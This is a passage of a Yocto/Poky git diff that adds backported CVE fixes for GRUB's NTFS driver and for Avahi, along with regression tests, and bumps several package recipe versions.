+values which are controlled by on-disk structures of the NTFS file system.
+
+Such modification and resulting misbehavior may touch a memory range not
+assigned to the GRUB and owned by firmware or another EFI application/driver.
+
+This fix introduces checks to ensure that these sector numbers are never
+written beyond the boundary.
+
+Fixes: CVE-2023-4692
+
+Upstream-Status: Backport from
+[https://git.savannah.gnu.org/cgit/grub.git/commit/?id=43651027d24e62a7a463254165e1e46e42aecdea]
+CVE: CVE-2023-4692
+
+Reported-by: Maxim Suhanov <dfirblog@gmail.com>
+Signed-off-by: Maxim Suhanov <dfirblog@gmail.com>
+Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ grub-core/fs/ntfs.c | 18 +++++++++++++++++-
+ 1 file changed, 17 insertions(+), 1 deletion(-)
+
+diff --git a/grub-core/fs/ntfs.c b/grub-core/fs/ntfs.c
+index bbdbe24..c3c4db1 100644
+--- a/grub-core/fs/ntfs.c
++++ b/grub-core/fs/ntfs.c
+@@ -184,7 +184,7 @@ find_attr (struct grub_ntfs_attr *at, grub_uint8_t attr)
+ }
+ if (at->attr_end)
+ {
+- grub_uint8_t *pa;
++ grub_uint8_t *pa, *pa_end;
+
+ at->emft_buf = grub_malloc (at->mft->data->mft_size << GRUB_NTFS_BLK_SHR);
+ if (at->emft_buf == NULL)
+@@ -209,11 +209,13 @@ find_attr (struct grub_ntfs_attr *at, grub_uint8_t attr)
+ }
+ at->attr_nxt = at->edat_buf;
+ at->attr_end = at->edat_buf + u32at (pa, 0x30);
++ pa_end = at->edat_buf + n;
+ }
+ else
+ {
+ at->attr_nxt = at->attr_end + u16at (pa, 0x14);
+ at->attr_end = at->attr_end + u32at (pa, 4);
++ pa_end = at->mft->buf + (at->mft->data->mft_size << GRUB_NTFS_BLK_SHR);
+ }
+ at->flags |= GRUB_NTFS_AF_ALST;
+ while (at->attr_nxt < at->attr_end)
+@@ -230,6 +232,13 @@ find_attr (struct grub_ntfs_attr *at, grub_uint8_t attr)
+ at->flags |= GRUB_NTFS_AF_GPOS;
+ at->attr_cur = at->attr_nxt;
+ pa = at->attr_cur;
++
++ if ((pa >= pa_end) || (pa_end - pa < 0x18))
++ {
++ grub_error (GRUB_ERR_BAD_FS, "can\'t parse attribute list");
++ return NULL;
++ }
++
+ grub_set_unaligned32 ((char *) pa + 0x10,
+ grub_cpu_to_le32 (at->mft->data->mft_start));
+ grub_set_unaligned32 ((char *) pa + 0x14,
+@@ -240,6 +249,13 @@ find_attr (struct grub_ntfs_attr *at, grub_uint8_t attr)
+ {
+ if (*pa != attr)
+ break;
++
++ if ((pa >= pa_end) || (pa_end - pa < 0x18))
++ {
++ grub_error (GRUB_ERR_BAD_FS, "can\'t parse attribute list");
++ return NULL;
++ }
++
+ if (read_attr
+ (at, pa + 0x10,
+ u32at (pa, 0x10) * (at->mft->data->mft_size << GRUB_NTFS_BLK_SHR),
+--
+cgit v1.1
+
diff --git a/poky/meta/recipes-bsp/grub/files/CVE-2023-4693.patch b/poky/meta/recipes-bsp/grub/files/CVE-2023-4693.patch
new file mode 100644
index 0000000000..420fe92ac3
--- /dev/null
+++ b/poky/meta/recipes-bsp/grub/files/CVE-2023-4693.patch
@@ -0,0 +1,63 @@
+From 0ed2458cc4eff6d9a9199527e2a0b6d445802f94 Mon Sep 17 00:00:00 2001
+From: Maxim Suhanov <dfirblog@...>
+Date: Mon, 28 Aug 2023 16:32:33 +0300
+Subject: fs/ntfs: Fix an OOB read when reading data from the resident $DATA
+ attribute
+
+When reading a file containing resident data, i.e., the file data is stored in
+the $DATA attribute within the NTFS file record, not in external clusters,
+there are no checks that this resident data actually fits the corresponding
+file record segment.
+
+When parsing a specially-crafted file system image, the current NTFS code will
+read the file data from an arbitrary, attacker-chosen memory offset and of
+arbitrary, attacker-chosen length.
+
+This allows an attacker to display arbitrary chunks of memory, which could
+contain sensitive information like password hashes or even plain-text,
+obfuscated passwords from BS EFI variables.
+
+This fix implements a check to ensure that resident data is read from the
+corresponding file record segment only.
+
+Fixes: CVE-2023-4693
+
+Upstream-Status: Backport from
+[https://git.savannah.gnu.org/cgit/grub.git/commit/?id=0ed2458cc4eff6d9a9199527e2a0b6d445802f94]
+CVE: CVE-2023-4693
+
+Reported-by: Maxim Suhanov <dfirblog@...>
+Signed-off-by: Maxim Suhanov <dfirblog@...>
+Reviewed-by: Daniel Kiper <daniel.kiper@...>
+Signed-off-by: Xiangyu Chen <xiangyu.chen@...>
+---
+ grub-core/fs/ntfs.c | 13 ++++++++++++-
+ 1 file changed, 12 insertions(+), 1 deletion(-)
+
+diff --git a/grub-core/fs/ntfs.c b/grub-core/fs/ntfs.c
+index c3c4db1..a68e173 100644
+--- a/grub-core/fs/ntfs.c
++++ b/grub-core/fs/ntfs.c
+@@ -401,7 +401,18 @@ read_data (struct grub_ntfs_attr *at, grub_uint8_t *pa, grub_uint8_t *dest,
+ {
+ if (ofs + len > u32at (pa, 0x10))
+ return grub_error (GRUB_ERR_BAD_FS, "read out of range");
+- grub_memcpy (dest, pa + u32at (pa, 0x14) + ofs, len);
++
++ if (u32at (pa, 0x10) > (at->mft->data->mft_size << GRUB_NTFS_BLK_SHR))
++ return grub_error (GRUB_ERR_BAD_FS, "resident attribute too large");
++
++ if (pa >= at->mft->buf + (at->mft->data->mft_size << GRUB_NTFS_BLK_SHR))
++ return grub_error (GRUB_ERR_BAD_FS, "resident attribute out of range");
++
++ if (u16at (pa, 0x14) + u32at (pa, 0x10) >
++ (grub_addr_t) at->mft->buf + (at->mft->data->mft_size << GRUB_NTFS_BLK_SHR) - (grub_addr_t) pa)
++ return grub_error (GRUB_ERR_BAD_FS, "resident attribute out of range");
++
++ grub_memcpy (dest, pa + u16at (pa, 0x14) + ofs, len);
+ return 0;
+ }
+
+--
+cgit v1.1
+
diff --git a/poky/meta/recipes-bsp/grub/grub2.inc b/poky/meta/recipes-bsp/grub/grub2.inc
index 41839698dc..f594e7d3a4 100644
--- a/poky/meta/recipes-bsp/grub/grub2.inc
+++ b/poky/meta/recipes-bsp/grub/grub2.inc
@@ -42,6 +42,8 @@ SRC_URI = "${GNU_MIRROR}/grub/grub-${PV}.tar.gz \
file://CVE-2022-3775.patch \
file://0001-risc-v-Handle-R_RISCV_CALL_PLT-reloc.patch \
file://0001-fs-ext2-Ignore-checksum-seed-incompat-feature.patch \
+ file://CVE-2023-4692.patch \
+ file://CVE-2023-4693.patch \
"
SRC_URI[sha256sum] = "23b64b4c741569f9426ed2e3d0e6780796fca081bee4c99f62aa3f53ae803f5f"
diff --git a/poky/meta/recipes-bsp/opensbi/opensbi_1.2.bb b/poky/meta/recipes-bsp/opensbi/opensbi_1.3.bb
index a088fef419..f01cae34d1 100644
--- a/poky/meta/recipes-bsp/opensbi/opensbi_1.2.bb
+++ b/poky/meta/recipes-bsp/opensbi/opensbi_1.3.bb
@@ -8,8 +8,8 @@ require opensbi-payloads.inc
inherit autotools-brokensep deploy
-SRCREV = "6b5188ca14e59ce7bf71afe4e7d3d557c3d31bf8"
-SRC_URI = "git://github.com/riscv/opensbi.git;branch=master;protocol=https"
+SRCREV = "057eb10b6d523540012e6947d5c9f63e95244e94"
+SRC_URI = "git://github.com/riscv/opensbi.git;branch=release-1.3.x;protocol=https"
S = "${WORKDIR}/git"
diff --git a/poky/meta/recipes-bsp/u-boot/libubootenv_0.3.4.bb b/poky/meta/recipes-bsp/u-boot/libubootenv_0.3.5.bb
index ac1e03b8e9..b68bbb430a 100644
--- a/poky/meta/recipes-bsp/u-boot/libubootenv_0.3.4.bb
+++ b/poky/meta/recipes-bsp/u-boot/libubootenv_0.3.5.bb
@@ -11,7 +11,7 @@ LIC_FILES_CHKSUM = "file://LICENSES/LGPL-2.1-or-later.txt;md5=4fbd65380cdd255951
SECTION = "libs"
SRC_URI = "git://github.com/sbabic/libubootenv;protocol=https;branch=master"
-SRCREV = "4dfb5254fc0540a36e87914bc14644c047ea7678"
+SRCREV = "3f4d15e36ceb58085b08dd13f3f2788e9299877b"
S = "${WORKDIR}/git"
diff --git a/poky/meta/recipes-connectivity/avahi/avahi_0.8.bb b/poky/meta/recipes-connectivity/avahi/avahi_0.8.bb
index 4c830cc058..910da3c9cc 100644
--- a/poky/meta/recipes-connectivity/avahi/avahi_0.8.bb
+++ b/poky/meta/recipes-connectivity/avahi/avahi_0.8.bb
@@ -26,6 +26,11 @@ SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/avahi-${PV}.tar.gz \
file://handle-hup.patch \
file://local-ping.patch \
file://invalid-service.patch \
+ file://CVE-2023-38469.patch \
+ file://CVE-2023-38470.patch \
+ file://CVE-2023-38471.patch \
+ file://CVE-2023-38472.patch \
+ file://CVE-2023-38473.patch \
"
GITHUB_BASE_URI = "https://github.com/lathiat/avahi/releases/"
diff --git a/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38469.patch b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38469.patch
new file mode 100644
index 0000000000..a078f66102
--- /dev/null
+++ b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38469.patch
@@ -0,0 +1,48 @@
+From 72842945085cc3adaccfdfa2853771b0e75ef991 Mon Sep 17 00:00:00 2001
+From: Evgeny Vereshchagin <evvers@ya.ru>
+Date: Mon, 23 Oct 2023 20:29:31 +0000
+Subject: [PATCH] avahi: core: reject overly long TXT resource records
+
+Closes https://github.com/lathiat/avahi/issues/455
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/a337a1ba7d15853fb56deef1f464529af6e3a1cf]
+CVE: CVE-2023-38469
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-core/rr.c | 9 ++++++++-
+ 1 file changed, 8 insertions(+), 1 deletion(-)
+
+diff --git a/avahi-core/rr.c b/avahi-core/rr.c
+index 7fa0bee..b03a24c 100644
+--- a/avahi-core/rr.c
++++ b/avahi-core/rr.c
+@@ -32,6 +32,7 @@
+ #include <avahi-common/malloc.h>
+ #include <avahi-common/defs.h>
+
++#include "dns.h"
+ #include "rr.h"
+ #include "log.h"
+ #include "util.h"
+@@ -688,11 +689,17 @@ int avahi_record_is_valid(AvahiRecord *r) {
+ case AVAHI_DNS_TYPE_TXT: {
+
+ AvahiStringList *strlst;
++ size_t used = 0;
+
+- for (strlst = r->data.txt.string_list; strlst; strlst = strlst->next)
++ for (strlst = r->data.txt.string_list; strlst; strlst = strlst->next) {
+ if (strlst->size > 255 || strlst->size <= 0)
+ return 0;
+
++ used += 1+strlst->size;
++ if (used > AVAHI_DNS_RDATA_MAX)
++ return 0;
++ }
++
+ return 1;
+ }
+ }
+--
+2.40.0
diff --git a/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38470.patch b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38470.patch
new file mode 100644
index 0000000000..91f9e677ac
--- /dev/null
+++ b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38470.patch
@@ -0,0 +1,59 @@
+From af7bfad67ca53a7c4042a4a2d85456b847e9f249 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Petr=20Men=C5=A1=C3=ADk?= <pemensik@redhat.com>
+Date: Tue, 11 Apr 2023 15:29:59 +0200
+Subject: [PATCH] avahi: Ensure each label is at least one byte long
+
+The only allowed exception is single dot, where it should return empty
+string.
+
+Fixes #454.
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/94cb6489114636940ac683515417990b55b5d66c]
+CVE: CVE-2023-38470
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-common/domain-test.c | 14 ++++++++++++++
+ avahi-common/domain.c | 2 +-
+ 2 files changed, 15 insertions(+), 1 deletion(-)
+
+diff --git a/avahi-common/domain-test.c b/avahi-common/domain-test.c
+index cf763ec..3acc1c1 100644
+--- a/avahi-common/domain-test.c
++++ b/avahi-common/domain-test.c
+@@ -45,6 +45,20 @@ int main(AVAHI_GCC_UNUSED int argc, AVAHI_GCC_UNUSED char *argv[]) {
+ printf("%s\n", s = avahi_normalize_name_strdup("fo\\\\o\\..f oo."));
+ avahi_free(s);
+
++ printf("%s\n", s = avahi_normalize_name_strdup("."));
++ avahi_free(s);
++
++ s = avahi_normalize_name_strdup(",.=.}.=.?-.}.=.?.?.}.}.?.?.?.z.?.?.}.}."
++ "}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.=.=.?.?.}.}.?.?.}.}.}"
++ ".?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.=.=.?.?.}.}.?.?.?.zM.?`"
++ "?.}.}.}.?.?.?.r.=.?.}.=.?.?.}.?.?.?.}.=.?.?.}??.}.}.?.?."
++ "?.z.?.?.}.}.}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.?`?.}.}.}."
++ "??.?.zM.?`?.}.}.}.?.?.?.r.=.?.}.=.?.?.}.?.?.?.}.=.?.?.}?"
++ "?.}.}.?.?.?.z.?.?.}.}.}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM."
++ "?`?.}.}.}.?.?.?.r.=.=.?.?`.?.?}.}.}.?.?.?.r.=.?.}.=.?.?."
++ "}.?.?.?.}.=.?.?.}");
++ assert(s == NULL);
++
+ printf("%i\n", avahi_domain_equal("\\065aa bbb\\.\\046cc.cc\\\\.dee.fff.", "Aaa BBB\\.\\.cc.cc\\\\.dee.fff"));
+ printf("%i\n", avahi_domain_equal("A", "a"));
+
+diff --git a/avahi-common/domain.c b/avahi-common/domain.c
+index 3b1ab68..e66d241 100644
+--- a/avahi-common/domain.c
++++ b/avahi-common/domain.c
+@@ -201,7 +201,7 @@ char *avahi_normalize_name(const char *s, char *ret_s, size_t size) {
+ }
+
+ if (!empty) {
+- if (size < 1)
++ if (size < 2)
+ return NULL;
+
+ *(r++) = '.';
+--
+2.40.0
diff --git a/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38471.patch b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38471.patch
new file mode 100644
index 0000000000..b3f716495d
--- /dev/null
+++ b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38471.patch
@@ -0,0 +1,73 @@
+From 48d745db7fd554fc33e96ec86d3675ebd530bb8e Mon Sep 17 00:00:00 2001
+From: Michal Sekletar <msekleta@redhat.com>
+Date: Mon, 23 Oct 2023 13:38:35 +0200
+Subject: [PATCH] avahi: core: extract host name using avahi_unescape_label()
+
+Previously we could create invalid escape sequence when we split the
+string on dot. For example, from valid host name "foo\\.bar" we have
+created invalid name "foo\\" and tried to set that as the host name
+which crashed the daemon.
+
+Fixes #453
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/894f085f402e023a98cbb6f5a3d117bd88d93b09]
+CVE: CVE-2023-38471
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-core/server.c | 27 +++++++++++++++++++++------
+ 1 file changed, 21 insertions(+), 6 deletions(-)
+
+diff --git a/avahi-core/server.c b/avahi-core/server.c
+index e507750..40f1d68 100644
+--- a/avahi-core/server.c
++++ b/avahi-core/server.c
+@@ -1295,7 +1295,11 @@ static void update_fqdn(AvahiServer *s) {
+ }
+
+ int avahi_server_set_host_name(AvahiServer *s, const char *host_name) {
+- char *hn = NULL;
++ char label_escaped[AVAHI_LABEL_MAX*4+1];
++ char label[AVAHI_LABEL_MAX];
++ char *hn = NULL, *h;
++ size_t len;
++
+ assert(s);
+
+ AVAHI_CHECK_VALIDITY(s, !host_name || avahi_is_valid_host_name(host_name), AVAHI_ERR_INVALID_HOST_NAME);
+@@ -1305,17 +1309,28 @@ int avahi_server_set_host_name(AvahiServer *s, const char *host_name) {
+ else
+ hn = avahi_normalize_name_strdup(host_name);
+
+- hn[strcspn(hn, ".")] = 0;
++ h = hn;
++ if (!avahi_unescape_label((const char **)&hn, label, sizeof(label))) {
++ avahi_free(h);
++ return AVAHI_ERR_INVALID_HOST_NAME;
++ }
++
++ avahi_free(h);
++
++ h = label_escaped;
++ len = sizeof(label_escaped);
++ if (!avahi_escape_label(label, strlen(label), &h, &len))
++ return AVAHI_ERR_INVALID_HOST_NAME;
+
+- if (avahi_domain_equal(s->host_name, hn) && s->state != AVAHI_SERVER_COLLISION) {
+- avahi_free(hn);
++ if (avahi_domain_equal(s->host_name, label_escaped) && s->state != AVAHI_SERVER_COLLISION)
+ return avahi_server_set_errno(s, AVAHI_ERR_NO_CHANGE);
+- }
+
+ withdraw_host_rrs(s);
+
+ avahi_free(s->host_name);
+- s->host_name = hn;
++ s->host_name = avahi_strdup(label_escaped);
++ if (!s->host_name)
++ return AVAHI_ERR_NO_MEMORY;
+
+ update_fqdn(s);
+
+--
+2.40.0
diff --git a/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38472.patch b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38472.patch
new file mode 100644
index 0000000000..a1de8e2a5a
--- /dev/null
+++ b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38472.patch
@@ -0,0 +1,46 @@
+From 8cf606779dc356768afc6b70e53f2808a9655143 Mon Sep 17 00:00:00 2001
+From: Michal Sekletar <msekleta@redhat.com>
+Date: Thu, 19 Oct 2023 17:36:44 +0200
+Subject: [PATCH] avahi: core: make sure there is rdata to process before
+ parsing it
+
+Fixes #452
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/b024ae5749f4aeba03478e6391687c3c9c8dee40]
+CVE: CVE-2023-38472
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-client/client-test.c | 3 +++
+ avahi-daemon/dbus-entry-group.c | 2 +-
+ 2 files changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/avahi-client/client-test.c b/avahi-client/client-test.c
+index 7d04a6a..57750a4 100644
+--- a/avahi-client/client-test.c
++++ b/avahi-client/client-test.c
+@@ -258,6 +258,9 @@ int main (AVAHI_GCC_UNUSED int argc, AVAHI_GCC_UNUSED char *argv[]) {
+ printf("%s\n", avahi_strerror(avahi_entry_group_add_service (group, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, 0, "Lathiat's Site", "_http._tcp", NULL, NULL, 80, "foo=bar", NULL)));
+ printf("add_record: %d\n", avahi_entry_group_add_record (group, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, 0, "TestX", 0x01, 0x10, 120, "\5booya", 6));
+
++ error = avahi_entry_group_add_record (group, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, 0, "TestX", 0x01, 0x10, 120, "", 0);
++ assert(error != AVAHI_OK);
++
+ avahi_entry_group_commit (group);
+
+ domain = avahi_domain_browser_new (avahi, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, NULL, AVAHI_DOMAIN_BROWSER_BROWSE, 0, avahi_domain_browser_callback, (char*) "omghai3u");
+diff --git a/avahi-daemon/dbus-entry-group.c b/avahi-daemon/dbus-entry-group.c
+index 4e879a5..aa23d4b 100644
+--- a/avahi-daemon/dbus-entry-group.c
++++ b/avahi-daemon/dbus-entry-group.c
+@@ -340,7 +340,7 @@ DBusHandlerResult avahi_dbus_msg_entry_group_impl(DBusConnection *c, DBusMessage
+ if (!(r = avahi_record_new_full (name, clazz, type, ttl)))
+ return avahi_dbus_respond_error(c, m, AVAHI_ERR_NO_MEMORY, NULL);
+
+- if (avahi_rdata_parse (r, rdata, size) < 0) {
++ if (!rdata || avahi_rdata_parse (r, rdata, size) < 0) {
+ avahi_record_unref (r);
+ return avahi_dbus_respond_error(c, m, AVAHI_ERR_INVALID_RDATA, NULL);
+ }
+--
+2.40.0
diff --git a/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38473.patch b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38473.patch
new file mode 100644
index 0000000000..707acb60fe
--- /dev/null
+++ b/poky/meta/recipes-connectivity/avahi/files/CVE-2023-38473.patch
@@ -0,0 +1,110 @@
+From 88cbbc48d5efff9726694557ca6c3f698f3affe4 Mon Sep 17 00:00:00 2001
+From: Michal Sekletar <msekleta@redhat.com>
+Date: Wed, 11 Oct 2023 17:45:44 +0200
+Subject: [PATCH] avahi: common: derive alternative host name from its
+ unescaped version
+
+Normalization of input makes sure we don't have to deal with special
+cases like unescaped dot at the end of label.
+
+Fixes #451 #487
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/b448c9f771bada14ae8de175695a9729f8646797]
+CVE: CVE-2023-38473
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-common/alternative-test.c | 3 +++
+ avahi-common/alternative.c | 27 +++++++++++++++++++--------
+ 2 files changed, 22 insertions(+), 8 deletions(-)
+
+diff --git a/avahi-common/alternative-test.c b/avahi-common/alternative-test.c
+index 9255435..681fc15 100644
+--- a/avahi-common/alternative-test.c
++++ b/avahi-common/alternative-test.c
+@@ -31,6 +31,9 @@ int main(AVAHI_GCC_UNUSED int argc, AVAHI_GCC_UNUSED char *argv[]) {
+ const char* const test_strings[] = {
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXüüüüüüü",
++ ").",
++ "\\.",
++ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\",
+ "gurke",
+ "-",
+ " #",
+diff --git a/avahi-common/alternative.c b/avahi-common/alternative.c
+index b3d39f0..a094e6d 100644
+--- a/avahi-common/alternative.c
++++ b/avahi-common/alternative.c
+@@ -49,15 +49,20 @@ static void drop_incomplete_utf8(char *c) {
+ }
+
+ char *avahi_alternative_host_name(const char *s) {
++ char label[AVAHI_LABEL_MAX], alternative[AVAHI_LABEL_MAX*4+1];
++ char *alt, *r, *ret;
+ const char *e;
+- char *r;
++ size_t len;
+
+ assert(s);
+
+ if (!avahi_is_valid_host_name(s))
+ return NULL;
+
+- if ((e = strrchr(s, '-'))) {
++ if (!avahi_unescape_label(&s, label, sizeof(label)))
++ return NULL;
++
++ if ((e = strrchr(label, '-'))) {
+ const char *p;
+
+ e++;
+@@ -74,19 +79,18 @@ char *avahi_alternative_host_name(const char *s) {
+
+ if (e) {
+ char *c, *m;
+- size_t l;
+ int n;
+
+ n = atoi(e)+1;
+ if (!(m = avahi_strdup_printf("%i", n)))
+ return NULL;
+
+- l = e-s-1;
++ len = e-label-1;
+
+- if (l >= AVAHI_LABEL_MAX-1-strlen(m)-1)
+- l = AVAHI_LABEL_MAX-1-strlen(m)-1;
++ if (len >= AVAHI_LABEL_MAX-1-strlen(m)-1)
++ len = AVAHI_LABEL_MAX-1-strlen(m)-1;
+
+- if (!(c = avahi_strndup(s, l))) {
++ if (!(c = avahi_strndup(label, len))) {
+ avahi_free(m);
+ return NULL;
+ }
+@@ -100,7 +104,7 @@ char *avahi_alternative_host_name(const char *s) {
+ } else {
+ char *c;
+
+- if (!(c = avahi_strndup(s, AVAHI_LABEL_MAX-1-2)))
++ if (!(c = avahi_strndup(label, AVAHI_LABEL_MAX-1-2)))
+ return NULL;
+
+ drop_incomplete_utf8(c);
+@@ -109,6 +113,13 @@ char *avahi_alternative_host_name(const char *s) {
+ avahi_free(c);
+ }
+
++ alt = alternative;
++ len = sizeof(alternative);
++ ret = avahi_escape_label(r, strlen(r), &alt, &len);
++
++ avahi_free(r);
++ r = avahi_strdup(ret);
++
+ assert(avahi_is_valid_host_name(r));
+
+ return r;
+--
+2.40.0
diff --git a/poky/meta/recipes-connectivity/bluez5/bluez5_5.69.bb b/poky/meta/recipes-connectivity/bluez5/bluez5_5.70.bb
index 4673000f60..2e3b782e6e 100644
--- a/poky/meta/recipes-connectivity/bluez5/bluez5_5.69.bb
+++ b/poky/meta/recipes-connectivity/bluez5/bluez5_5.70.bb
@@ -1,6 +1,6 @@
require bluez5.inc
-SRC_URI[sha256sum] = "bc5a35ddc7c72d0d3999a0d7b2175c8b7d57ab670774f8b5b4900ff38a2627fc"
+SRC_URI[sha256sum] = "37e372e916955e144cb882f888e4be40898f10ae3b7c213ddcdd55ee9c009278"
CVE_STATUS[CVE-2020-24490] = "cpe-incorrect: This issue has kernel fixes rather than bluez fixes"
diff --git a/poky/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.2.bb b/poky/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.5.bb
index 0966edd1b8..c2dee267ba 100644
--- a/poky/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.2.bb
+++ b/poky/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.5.bb
@@ -15,10 +15,9 @@ SRC_URI = "git://github.com/NetworkConfiguration/dhcpcd;protocol=https;branch=ma
file://dhcpcd.service \
file://dhcpcd@.service \
file://0001-dhcpcd.8-Fix-conflict-error-when-enable-multilib.patch \
- file://0001-privsep-fix-strlcpy-overflow-in-psp_ifname-239.patch \
"
-SRCREV = "d2fbde99cf2d0072016af9dfe6a77032a5a9fc30"
+SRCREV = "6baf4df467aaae89b026a089122d155c6eec3f19"
S = "${WORKDIR}/git"
inherit pkgconfig autotools-brokensep systemd useradd
diff --git a/poky/meta/recipes-connectivity/dhcpcd/files/0001-privsep-fix-strlcpy-overflow-in-psp_ifname-239.patch b/poky/meta/recipes-connectivity/dhcpcd/files/0001-privsep-fix-strlcpy-overflow-in-psp_ifname-239.patch
deleted file mode 100644
index d4fb1737a6..0000000000
--- a/poky/meta/recipes-connectivity/dhcpcd/files/0001-privsep-fix-strlcpy-overflow-in-psp_ifname-239.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 1bd8fc7d4b34f752a32709d277a897e5ad202d97 Mon Sep 17 00:00:00 2001
-From: Tobias Heider <tobhe@users.noreply.github.com>
-Date: Tue, 15 Aug 2023 18:06:48 +0200
-Subject: [PATCH] privsep: fix strlcpy overflow in psp_ifname (#239)
-
-When running our Ubuntu tests with libc6 and strlcpy overflow checks
-enabled we found that the wrong size is passed to strlcpy resulting
-in a crash because of an overflow.
-
-Upstream-Status: Backport
-[https://github.com/NetworkConfiguration/dhcpcd/commit/1bd8fc7d4b34f752a32709d277a897e5ad202d97]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- src/privsep.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/privsep.c b/src/privsep.c
-index b11c0351..cfe54742 100644
---- a/src/privsep.c
-+++ b/src/privsep.c
-@@ -1200,7 +1200,7 @@ ps_newprocess(struct dhcpcd_ctx *ctx, struct ps_id *psid)
- #endif
-
- if (!(ctx->options & DHCPCD_MANAGER))
-- strlcpy(psp->psp_ifname, ctx->ifv[0], sizeof(psp->psp_name));
-+ strlcpy(psp->psp_ifname, ctx->ifv[0], sizeof(psp->psp_ifname));
- TAILQ_INSERT_TAIL(&ctx->ps_processes, psp, next);
- return psp;
- }
---
-2.25.1
-
diff --git a/poky/meta/recipes-connectivity/iproute2/iproute2_6.5.0.bb b/poky/meta/recipes-connectivity/iproute2/iproute2_6.6.0.bb
index 2b28b10c20..417702e627 100644
--- a/poky/meta/recipes-connectivity/iproute2/iproute2_6.5.0.bb
+++ b/poky/meta/recipes-connectivity/iproute2/iproute2_6.6.0.bb
@@ -15,7 +15,7 @@ SRC_URI = "${KERNELORG_MIRROR}/linux/utils/net/${BPN}/${BP}.tar.xz \
file://0001-libc-compat.h-add-musl-workaround.patch \
"
-SRC_URI[sha256sum] = "a70179085fa1b96d3c33b040c809b75e2b57563adc505a4ad05e2609df373463"
+SRC_URI[sha256sum] = "8738c804afd09f0bf756937f0c3de23117832a98d8cbbf50386cf5005cd613ce"
inherit update-alternatives bash-completion pkgconfig
diff --git a/poky/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service b/poky/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service
index 91aa2eb14f..f6059d73cb 100644
--- a/poky/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service
+++ b/poky/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service
@@ -6,7 +6,6 @@ After=time-sync.target
[Service]
ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/run/kea/
-ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/kea
ExecStart=@SBINDIR@/kea-dhcp-ddns -c @SYSCONFDIR@/kea/kea-dhcp-ddns.conf
[Install]
diff --git a/poky/meta/recipes-connectivity/libuv/libuv_1.46.0.bb b/poky/meta/recipes-connectivity/libuv/libuv_1.47.0.bb
index c9aa25c518..50ad6ba5eb 100644
--- a/poky/meta/recipes-connectivity/libuv/libuv_1.46.0.bb
+++ b/poky/meta/recipes-connectivity/libuv/libuv_1.47.0.bb
@@ -6,7 +6,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=74b6f2f7818a4e3a80d03556f71b129b \
file://LICENSE-extra;md5=f9307417749e19bd1d6d68a394b49324"
-SRCREV = "f0bb7e40f0508bedf6fad33769b3f87bb8aedfa6"
+SRCREV = "be6b81a352d17513c95be153afcb3148f1a451cd"
SRC_URI = "git://github.com/libuv/libuv.git;branch=v1.x;protocol=https"
UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
diff --git a/poky/meta/recipes-connectivity/openssh/openssh/0001-systemd-Add-optional-support-for-systemd-sd_notify.patch b/poky/meta/recipes-connectivity/openssh/openssh/0001-systemd-Add-optional-support-for-systemd-sd_notify.patch
new file mode 100644
index 0000000000..acda8f1ce9
--- /dev/null
